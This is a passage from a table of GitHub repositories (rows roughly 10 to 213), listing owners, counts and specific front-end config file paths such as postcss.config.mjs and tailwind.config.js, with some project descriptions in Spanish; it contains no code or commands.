plataforma potenciada por IA que permite a los usuarios crear libros de cuentos personalizados usando su propia voz y rostros como personajes. Transforma la narración de cuentos en una experiencia mágica, interactiva y profundamente personal. | https://github.com/FSDTeam-SAA/sahara_53 | | 10 | FSDTeam-SAA/lowready-frontend | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/lowready-frontend | | 11 | Addis-Career/Frontend | Addis-Career | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 12 | etrainermis/mineduc-Form | etrainermis | Organization | 0 | 1 | 1 | postcss.config.mjs | Foro de Celebraciones del Día Mundial de la Lengua Kiswahili de la CEA | | | 13 | FSDTeam-SAA/brazen-kits | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 14 | FSDTeam-SAA/Igghy-dashboard | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 15 | FlowBondTech/danz-miniapps | FlowBondTech | Organization | 0 | 1 | 2 | danz-main/postcss.config.mjs | daily-danz/postcss.config.mjs | | | | 16 | BrennansWave-com/brennanswave | BrennansWave-com | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 17 | FlowBondTech/danz-web | FlowBondTech | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 18 | QualifyAI/qualify-frontend | QualifyAI | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 19 | FSDTeam-SAA/ftfdesignco-backend | FSDTeam-SAA | Organization | 0 | 1 | 1 | src/router/index.js | | | | 20 | Gamage-Recruiters-406/Rent_a_Car | Gamage-Recruiters-406 | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | | | | 21 | Umbrelabs-Projects/Procobiz | Umbrelabs-Projects | Organization | 1 | 0 | 1 | postcss.config.mjs | | | | 22 | The-Extra-Project/Extra_surface_repo | The-Extra-Project | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | versión de despliegue de la versión de Laurent para Extra-surface. | | | 23 | Automobile-System/frontend | Automobile-System | Organization | 1 | 0 | 1 | postcss.config.mjs | | | | 24 | VplayProCrypto/mvp_vercel | VplayProCrypto | Organization | 1 | 0 | 1 | tailwind.config.js | Repositorio del mvp fase 1 | | | 25 | sparktechagency/nskustoms_custom_game_site-2.0 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 26 | softvence-omega-future-stack/gameluke-frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 27 | NexumTechnologies/E-Commerce | NexumTechnologies | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 28 | Umbrelabs-Projects/Hostella-superAdmin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Este repositorio es para quienes registrarán administradores | | | 29 | FSDTeam-SAA/admin-dashboard-gman | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 30 | sparktechagency/protippz_website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 31 | FlowRMS/flow-connect-frontend-new | FlowRMS | Organization | 0 | 0 | 1 | postcss.config.mjs | Aplicación Frontend FlowConnect | | | 32 | Anthem-InfoTech-Pvt-Ltd/dashboards | Anthem-InfoTech-Pvt-Ltd | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 33 | WeOwnAiAgents-Hackerhouse/WeOwnAiAgent | WeOwnAiAgents-Hackerhouse | Organization | 0 | 0 | 1 | postcss.config.mjs | Construyendo la plataforma de orquestación de agentes definitiva, soberana, impulsada por tokenomics y construida para la comunidad web3. Contribución para el hackathon de ethdenver. | | | 34 | Karigar-App/Karigar | Karigar-App | Organization | 0 | 0 | 1 | packages/ui/postcss.config.mjs | | | | 35 | sparktechagency/silicon-zisan-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 36 | FSDTeam-SAA/hinkel-Website | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 37 | FSDTeam-SAA/iwmsadvisors | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 38 | Umbrelabs-Projects/Hostella-admin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Plataforma de administración Hostella | | | 39 | Umbrelabs-Projects/Hostella-stu | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Plataforma de reserva de hostales para estudiantes Hostella | | | 40 | iwb25-412-vertex-prime/apigateway-v1 | iwb25-412-vertex-prime | Organization | 0 | 0 | 1 | userportal/postcss.config.mjs | Portal de Usuario + Capa de Gestión | Gestión de cuotas, aplicación de reglas, validación de claves API. | | | 41 | Cloudrika/cloudrika-web | Cloudrika | Organization | 0 | 0 | 2 | packages/ui/postcss.config.mjs | apps/email-portal/next.config.mjs | | | | 42 | sparktechagency/consult_dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 43 | sparktechagency/jonowoods-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 44 | Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 45 | sparktechagency/profitable-website-v2 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 46 | musetax/Amus-fe | musetax | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 47 | sparktechagency/faceAi-front-end | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 48 | sparktechagency/any-job-dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 49 | sparktechagency/anyjob-web | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 50 | softvence-omega-future-stack/lawalx_frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 51 | softvence-omega-future-stack/kilian-rodhe-last- | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 52 | WeOwnNetwork/EthDenver-submission | WeOwnNetwork | Organization | 0 | 0 | 1 | apps/web/postcss.config.mjs | Construyendo el cliente de infraestructura de orquestación #FedArch con registro de agentes en cadena. Presentación para el hackathon ETHDenver 2026. | | | 53 | sparktechagency/betopia-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 54 | FlowRMSLabs/flowdemandwebsite | FlowRMSLabs | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 55 | BhavikPatel-dreamz/wove-gift-portal | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 56 | BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 57 | GARAGE-POS/nextjs_test | GARAGE-POS | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 58 | BhavikPatel-dreamz/Homeopathway | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | Homeopathway | | | 59 | digitalschool-tech/tech-static | digitalschool-tech | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 60 | tricodenetwork/lock-up | tricodenetwork | Organization | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 61 | Sahl-AI/sahl-ai-iframe | Sahl-AI | Organization | 0 | 0 | 1 | tailwind.config.js | Contiene la aplicación React demo para probar el enfoque iframe | | | 62 | dawahanigeria-team/domainping | dawahanigeria-team | Organization | 0 | 0 | 1 | frontend/tailwind.config.js | | | | 63 | shahid538org/microrealestate | shahid538org | Organization | 0 | 0 | 1 | webapps/landlord/tailwind.config.js | | | | 64 | orynth-dev/vite-shadcn-template | orynth-dev | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 65 | FlowBondTech/egator | FlowBondTech | Organization | 0 | 0 | 1 | apps/web/tailwind.config.js | AIeGator - Motor de agregación de eventos impulsado por IA (ETHDenver vía Luma) | | | 66 | sparktechagency/u_tee_hub | sparktechagency | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 67 | Enigma-Incorporated-Ltd/N0DE-Website | Enigma-Incorporated-Ltd | Organization | 0 | 0 | 2 | tailwind.config.js | src/tailwind.config.js | | | | 68 | FSDTeam-SAA/AMES_Investment_new | FSDTeam-SAA | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 69 | Frontier-tech-consulting/olas-mcp-application-workflow | Frontier-tech-consulting | Organization | 0 | 0 | 1 | docs/tailwind.config.js | Esto consiste en el flujo de trabajo de la maqueta UI correspondiente al ecosistema Olas (para que los usuarios ejecuten la aplicación MCP para realizar interacciones en cadena). | | | 70 | Softvence-Omega-Dev-Ninjas/vic_pec_server_app | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 71 | Softvence-Omega-Dev-Ninjas/jdadzok_server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 72 | Binary-Mindz/agimtula_server | Binary-Mindz | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 73 | Softvence-Omega-Dev-Ninjas/alvaaro-server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 74 | Softvence-Omega-Cyber-Monk/nishant-server | Softvence-Omega-Cyber-Monk | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 75 | softvence-omega-future-stack/huss-be | softvence-omega-future-stack | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 76 | BhavikPatel-dreamz/Products-filters-react | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | src/App.js | | | | 77 | Victorola-coder/tewo | Victorola-coder | User | 9 | 6 | 1 | tailwind.config.js | tewosimi boboyi, ebi n pami | | | 78 | Atik203/Scholar-Flow | Atik203 | User | 4 | 4 | 1 | apps/frontend/postcss.config.mjs | ScholarFlow es una plataforma SaaS diseñada para investigadores, estudiantes, profesores y equipos académicos para cargar, organizar y revisar trabajos de investigación con colecciones, anotaciones, búsqueda y colaboración en equipo en una biblioteca de investigación compartida. | | | 79 | Kreliannn/Document-Request-System-FRONTEND | Kreliannn | User | 8 | 1 | 1 | postcss.config.mjs | Un sistema basado en web que permite a los residentes solicitar documentos del barangay en línea sin visitar la sala del barangay. Los residentes pueden rastrear el estado de su solicitud, recibir notificaciones por correo electrónico y ver el historial de solicitudes. El administrador del barangay puede gestionar solicitudes, actualizar estados y rastrear el historial de transacciones. | | | 80 | coderkhalide/Anti-Detect-Browser | coderkhalide | User | 2 | 4 | 1 | src/renderer/tailwind.config.js | | | | 81 | WeerasingheMSC/ASMS_Frontend | WeerasingheMSC | User | 1 | 4 | 1 | asms_frontend/postcss.config.mjs | Sistema de registro de tiempo de servicio automotriz y programación de citas full-stack construido con Next.js, TypeScript, TailwindCSS y Ant Design para el frontend. Incluye portales para clientes y empleados, seguimiento de servicios en tiempo real, reserva de citas, registro de tiempo y despliegue contenerizado. | | | 82 | fsdteam8/n_Krypted-frontend | fsdteam8 | User | 0 | 4 | 1 | postcss.config.mjs | | | | 83 | tanushbhootra576/Bionary-Website-Challenge-and-final | tanushbhootra576 | User | 4 | 2 | 1 | bionary_website/tailwind.config.js | | | | 84 | Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | Kreliannn | User | 7 | 0 | 1 | postcss.config.mjs | Una aplicación web que usa IA para convertir archivos PDF en revisores tipo Q&A. El usuario puede personalizar el resultado generado antes de guardarlo. El usuario puede revisar y tomar un cuestionario personalizable utilizando ese revisor generado por IA guardado. | | | 85 | tanushbhootra576/collegeConnect | tanushbhootra576 | User | 5 | 1 | 1 | postcss.config.mjs | | | | 86 | brown2020/ikigaifinder | brown2020 | User | 4 | 1 | 1 | postcss.config.mjs | | | | 87 | Kreliannn/commision_portfolio | Kreliannn | User | 6 | 0 | 1 | postcss.config.mjs | | | | 88 | coderkhalide/Trading-Journal | coderkhalide | User | 4 | 1 | 1 | postcss.config.mjs | Diario de trading profesional para rastrear, analizar y mejorar tu rendimiento de trading en diferentes sistemas y marcos temporales. | | | 89 | tanushbhootra576/weather | tanushbhootra576 | User | 4 | 1 | 1 | postcss.config.mjs | proyecto de hackathon | | | 90 | Kreliannn/student-passed-rate-analysis-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 91 | Kreliannn/pharmacy-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 92 | Kreliannn/Employee-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 93 | Kreliannn/e-commerce-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 94 | umarabid123/The_INTERNET_OF_AGENTS_HACKATHON | umarabid123 | User | 1 | 2 | 1 | frontend/postcss.config.mjs | | | | 95 | ahmadraza382/FinanceAi | ahmadraza382 | User | 3 | 1 | 1 | tailwind.config.js | Coach de Finanzas con IA | | | 96 | tanushbhootra576/turbo-happiness | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 97 | shaheeer-dev/sketchers | shaheeer-dev | User | 0 | 2 | 1 | postcss.config.mjs | | | | 98 | tanushbhootra576/game | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 99 | tanushbhootra576/GridSaga | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 100 | senulahesara/devkit | senulahesara | User | 2 | 1 | 1 | postcss.config.mjs | Herramientas esenciales, rendimiento ultrarrápido y funciones listas para usar sin conexión, construidas para optimizar tu flujo de trabajo y mantenerte enfocado en lo que importa: escribir código de calidad. | | | 101 | tanushbhootra576/week3-forms-and-inputs | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 102 | tanushbhootra576/PW-app | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 103 | tanushbhootra576/RESTRO | tanushbhootra576 | User | 4 | 0 | 1 | tailwind.config.js | | | | 104 | tanushbhootra576/MoodSync | tanushbhootra576 | User | 4 | 0 | 1 | App.js | | | | 105 | Amanbanti/Capstone | Amanbanti | User | 1 | 1 | 1 | frontend/postcss.config.mjs | El Proyecto Capstone es una experiencia académica y práctica culminante para estudiantes de los programas de Ingeniería de Software (SE) y Ciencias de la Computación e Ingeniería (CSE). | | | 106 | ShifaLabs/shifa | ShifaLabs | User | 1 | 1 | 1 | postcss.config.mjs | Shefa es una plataforma de telemedicina basada en web que permite a los pacientes consultar a médicos verificados a través de videollamadas en la aplicación en tiempo real, recibir recetas digitales y gestionar su atención médica de forma remota en un entorno seguro y profesional. Este es un sistema desplegable de grado de producción, no un demo o maqueta académica. | | | 107 | SouravDn-p/mobile-canvas-nextjs | SouravDn-p | User | 1 | 1 | 1 | postcss.config.mjs | MobileCanvas es una plataforma de comercio electrónico full-stack moderna enfocada en la venta de gadgets y dispositivos móviles. Construida con Next.js, Redux Toolkit y MongoDB, ofrece una experiencia de compra segura, receptiva y fluida para los usuarios y potentes herramientas de gestión para los administradores. | | | 108 | RinSanom/IoTWeb | RinSanom | User | 1 | 1 | 1 | postcss.config.mjs | | | | 109 | kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews | kanchana404 | User | 1 | 1 | 1 | postcss.config.mjs | | | | 110 | Salman1205/MailAssist | Salman1205 | User | 1 | 1 | 1 | postcss.config.mjs | Plataforma de atención al cliente potenciada por IA con integración de Gmail, tickets inteligentes, respuestas automatizadas, integración con Shopify y colaboración en equipo en tiempo real. | | | 111 | Yassin-Younis/bypass-in-app-browser | Yassin-Younis | User | 3 | 0 | 1 | next.config.mjs | Evita los navegadores integrados de aplicaciones de redes sociales como Instagram, Facebook, TikTok y más. Envía a los usuarios a su navegador nativo cuando hacen clic en tus anuncios de redes sociales para mejorar la interacción, el seguimiento preciso y aumentar las conversiones. | | | 112 | Lithira-Silva/TrueClaim---ITPM- | Lithira-Silva | User | 2 | 0 | 1 | client/postcss.config.mjs | TrueClaim — Un sistema inteligente de gestión de reclamaciones desarrollado como un proyecto ITPM en SLIIT (Año 3, Semestre 2). Construido con el stack MERN para agilizar y automatizar el proceso de reclamaciones de seguros con precisión y eficiencia. | | | 113 | maaz-bin-hassan/sahoolat-web-new | maaz-bin-hassan | User | 2 | 0 | 1 | postcss.config.mjs | | | | 114 | Pramadu2001/ITPM_MODUS | Pramadu2001 | User | 0 | 1 | 1 | my-app/postcss.config.mjs | Proyecto de gestión de proyectos de tecnología de la información de 3er año 2º semestre, que es la plataforma de aprendizaje MODUS. | | | 115 | abimtad/upload_file | abimtad | User | 0 | 1 | 1 | postcss.config.mjs | | | | 116 | anilgoswamistartbitsolutions/travel-platform | anilgoswamistartbitsolutions | User | 0 | 1 | 3 | sites/holidaydeals/postcss.config.mjs | travel_template/package/postcss.config.mjs | travel_template/old/postcss.config.mjs | | | | 117 | AhsanalyOfficial/ahsan_portfolio | AhsanalyOfficial | User | 0 | 1 | 1 | postcss.config.mjs | | | | 118 | HevenDev/rmw-new-design | HevenDev | User | 0 | 1 | 1 | postcss.config.mjs | | | | 119 | anilgoswamistartbitsolutions/travel-payload-sites | anilgoswamistartbitsolutions | User | 0 | 1 | 2 | sites/holidaydeals/postcss.config.mjs | sites/luxurytravels/postcss.config.mjs | | | | 120 | dhruvmalik007/solana-colossum-hackathon | dhruvmalik007 | User | 0 | 1 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | Construyendo un mercado de predicciones para la plataforma de inversión temática para carteras de inversión sostenibles. | | | 121 | Tiewasters99/AI_Law_Wizard | Tiewasters99 | User | 0 | 1 | 1 | postcss.config.mjs | | | | 122 | coderkhalide/scalping-trading-tools | coderkhalide | User | 0 | 1 | 1 | postcss.config.mjs | Configura y califica tus entradas de trading con factores ponderados, calificación individual de factores, puntos extra y calificaciones con letras. | | | 123 | monazahmed/Agrismart-project- | monazahmed | User | 0 | 1 | 1 | postcss.config.mjs | | | | 124 | Gowreesh-VT/SherlockIT | Gowreesh-VT | User | 0 | 1 | 1 | postcss.config.mjs | | | | 125 | webprogramminghack/b3-practice-30 | webprogramminghack | User | 0 | 1 | 1 | postcss.config.mjs | | | | 126 | Salman1205/Mail-Assist-CRM | Salman1205 | User | 2 | 0 | 1 | postcss.config.mjs | | | | 127 | AbdulwahidHusein/Shipper-chat | AbdulwahidHusein | User | 2 | 0 | 1 | frontend/postcss.config.mjs | | | | 128 | michelzappy/zappy-scratch-091225 | michelzappy | User | 0 | 1 | 1 | frontend/tailwind.config.js | | | | 129 | Ali-Hamas/Learn_Hub | Ali-Hamas | User | 0 | 1 | 1 | frontend/tailwind.config.js | LearnHub - Plataforma de aprendizaje multiinstructor con FastAPI, React, MongoDB, pagos Stripe y tutor IA. | | | 130 | VALENSAPP/coin_backend | VALENSAPP | User | 0 | 1 | 1 | eslint.config.mjs | Repositorio Backend. | | | 131 | QaisarWaheed/Aluminum-POS | QaisarWaheed | User | 0 | 1 | 1 | eslint.config.mjs | | | | 132 | Abdulbasit219/UPSkaleAI | Abdulbasit219 | User | 1 | 0 | 1 | postcss.config.mjs | Aplicación UP SKale AI para estudiantes (aprendices) y (generadores de ingresos) (Proyecto FYP) | | | 133 | Satyam3002/nextauth | Satyam3002 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 134 | ahmadraza382/Hospital-management-system | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 135 | AKDebug-UX/challengePR | AKDebug-UX | User | 1 | 0 | 1 | postcss.config.mjs | | | | 136 | Ruwanima/ella-south-star-frontend | Ruwanima | User | 1 | 0 | 1 | postcss.config.mjs | | | | 137 | ahmadraza382/Luxeurs-Shopping-Store | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 138 | ahmadraza382/Portfolio | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 139 | Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post- | Ayesha-Siddiqui1234 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | Nuestro equipo participó en el hackathon juvenil katy 2025 y estamos construyendo un sitio web totalmente funcional con un chatbot integrado, algo así como un orientador vocacional que guía a los estudiantes en su trayectoria profesional. | | | 140 | WimpyvL/Zappy-Health-Dashboard | WimpyvL | User | 1 | 0 | 1 | postcss.config.mjs | | | | 141 | ifedolapoomoniyi/fleet-robotics | ifedolapoomoniyi | User | 1 | 0 | 1 | postcss.config.mjs | | | | 142 | muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor | muhammad-tahir-sultan | User | 1 | 0 | 1 | postcss.config.mjs | | | | 143 | vkrms/wizard | vkrms | User | 1 | 0 | 1 | postcss.config.mjs | proyecto de entrenamiento de formulario multi-paso en react | | | 144 | Atik203/VocabPrep | Atik203 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | Una aplicación web moderna y enfocada para ayudarte a construir y dominar el vocabulario en inglés a través de aprendizaje interactivo, sesiones de práctica y seguimiento del progreso. | | | 145 | web-ghoul/Portfolio | web-ghoul | User | 1 | 0 | 1 | postcss.config.mjs | Incluye mis proyectos, mis experiencias, mis certificados, mi contacto. | | | 146 | AbdulwahidHusein/ai-tools-directory | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | | | 147 | AhmadRazaKhokhar1/resturants-app | AhmadRazaKhokhar1 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 148 | ishivamgaur/Ap-news-next-js | ishivamgaur | User | 1 | 0 | 1 | postcss.config.mjs | AP News es una aplicación de noticias basada en Next.js que ofrece contenido de noticias categorizado como política, deportes, tecnología, entretenimiento y actualizaciones en vivo con rendimiento rápido, optimización SEO y renderizado del lado del servidor. | | | 149 | amMubbasher/cleannami.ceenami-old | amMubbasher | User | 1 | 0 | 1 | postcss.config.mjs | | | | 150 | AbdulwahidHusein/crawler-dashboard | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | | | 151 | SouravDn-p/RexAuction | SouravDn-p | User | 1 | 0 | 1 | tailwind.config.js | Una aplicación web de subastas en tiempo real construida para experiencias de pujas en vivo, combinando características avanzadas como actualizaciones instantáneas, pujas inteligentes y comunicación en tiempo real entre usuarios. | | | 152 | AKDebug-UX/interactive-tv-app | AKDebug-UX | User | 1 | 0 | 1 | tailwind.config.js | | | | 153 | usman-174/VidSpark | usman-174 | User | 1 | 0 | 1 | client/tailwind.config.js | | | | 154 | NatyJoseDie/proyecto-nginx | NatyJoseDie | User | 1 | 0 | 1 | eslint.config.mjs | | | | 155 | AKDebug-UX/DoneWithIt | AKDebug-UX | User | 1 | 0 | 1 | App.js | | | | 156 | dhruvmalik007/forensics-board | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 157 | Rahulkumarhavit/ProStore-Ecommerce | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 158 | Bart3kL/shopify-components | Bart3kL | User | 0 | 0 | 1 | polaris-components/postcss.config.mjs | | | | 159 | mjatin-dev/logic-zephyr | mjatin-dev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 160 | umrasghar/heygen-demo | umrasghar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 161 | thanhdanh111/challenge | thanhdanh111 | User | 0 | 0 | 2 | Problem-2/postcss.config.mjs | Problem-3/postcss.config.mjs | | | | 162 | hamza-nafasat/rentin-frontend | hamza-nafasat | User | 0 | 0 | 1 | postcss.config.mjs | | | | 163 | rejoan121615/ClientOps | rejoan121615 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | ClientOps es un panel de control de operaciones internas full-stack diseñado para agencias y pequeñas empresas para gestionar clientes, proyectos, miembros del equipo y flujos de trabajo de forma segura. | | | 164 | SouravDn-p/CMR | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 165 | EmanDeveloper/EasyTech | EmanDeveloper | User | 0 | 0 | 1 | postcss.config.mjs | | | | 166 | addis-ale/25-5-clock | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 167 | MSCPerera/Job-Board-App | MSCPerera | User | 0 | 0 | 1 | job-board-app/postcss.config.mjs | | | | 168 | Nathanim1919/nextjs-project | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 169 | TimothyBabatu13/AegisHealth-Smart | TimothyBabatu13 | User | 0 | 0 | 1 | aegis-health-smart/postcss.config.mjs | | | | 170 | Senti-fi/Senti.fi | Senti-fi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 171 | Zentaurios/stable-monitor | Zentaurios | User | 0 | 0 | 1 | postcss.config.mjs | | | | 172 | SouravDn-p/Frontend-task | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 173 | Storaboy11/meerge | Storaboy11 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 174 | ahmedghonim/esraa | ahmedghonim | User | 0 | 0 | 1 | postcss.config.mjs | | | | 175 | vrunda310/AIA-VEGA-Frontend | vrunda310 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 176 | emmanueldavidson96/popular_saas_product_landing_page | emmanueldavidson96 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 177 | pratikp72/deal-Project | pratikp72 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 178 | Al-amin07/file_sure | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 179 | waris-ansar/finstar | waris-ansar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 180 | MianHaziq/LKnight-Lms | MianHaziq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 181 | pankajkhadse/TrustBasket | pankajkhadse | User | 0 | 0 | 1 | postcss.config.mjs | | | | 182 | adnaan-2/content-generation | adnaan-2 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 183 | malikjunaidhassann/seller-panel | malikjunaidhassann | User | 0 | 0 | 1 | postcss.config.mjs | | | | 184 | mdnuruzzamannirob/your-capture-awards-dashboard | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 185 | Minahil48/NY-caffine | Minahil48 | User | 0 | 0 | 1 | postcss.config.mjs | Todos tus antojos en un solo lugar | | | 186 | FrazKhan1/dev-team-chat | FrazKhan1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 187 | jrioscloud/financial-document-analyzer | jrioscloud | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 188 | seemab-ahmed/rodopi | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 189 | JudeTejada/digital-pods | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | | | 190 | msuhels/RapidProject-Pos-System | msuhels | User | 0 | 0 | 1 | postcss.config.mjs | | | | 191 | Al-amin07/project_5_frontend | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 192 | abdullah2310ishaq/afronaut | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 193 | Jaskaran2701/Test-1 | Jaskaran2701 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 194 | Deepanshu7-bit/nugen-interns | Deepanshu7-bit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 195 | saifullah-max/bublr | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 196 | Meet2054/automa8x-production-new | Meet2054 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 197 | bharatbrovitech/india-to-germany | bharatbrovitech | User | 0 | 0 | 1 | postcss.config.mjs | | | | 198 | PremShakti/PanchangCalendar | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 199 | Pa-ppy/Checkout | Pa-ppy | User | 0 | 0 | 1 | postcss.config.mjs | | | | 200 | Atif-Hameed/als-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 201 | Dawit212119/Devodemy | Dawit212119 | User | 0 | 0 | 1 | postcss.config.mjs | Construir un LMS usando Nextjs, React, Stripe, Mux, next app router, Prisma, Strip, Mysql, Docker, AWS Lambda, Redux Toolkit, Tailwind CSS, Shadcn, TypeScript, Zod, aws s3, aws CloudFront, Clerk. | | | 202 | SouravDn-p/NextManager-YourInventoryManager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventory Manager Un sistema de gestión de inventario full-stack construido con Next.js 14 App Router, Tailwind CSS, MongoDB y Redux Toolkit (RTK Query). Esta aplicación admite autenticación social a través de NextAuth.js (Google, GitHub) e inicio de sesión tradicional con correo electrónico/contraseña usando JWT. | | | 203 | ranjannkumar/Token-Vesting-App | ranjannkumar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 204 | Usamahafiz8/fetchdetails | Usamahafiz8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 205 | freelancework00700/CRM-test-task | freelancework00700 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 206 | ahmadraza382/APIs-integration | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | Obtener datos de APIs solo para práctica y borrador | | | 207 | akashmuhammadabrrar/Resume-builder-NextTypescript | akashmuhammadabrrar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 208 | abimtad/Customer-feedback | abimtad | User | 0 | 0 | 1 | postcss.config.mjs | | | | 209 | SanjayaPrasadRajapaksha/Blog_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 210 | MunibQazi12/next-starter-template | MunibQazi12 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 211 | PremShakti/multi-tenet-school-profile-app | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 212 | mirzaghalib4726/committee-system-next | mirzaghalib4726 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 213 | ChiraniSiriwardhana/Spirit11 | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | Un sistema de autenticación 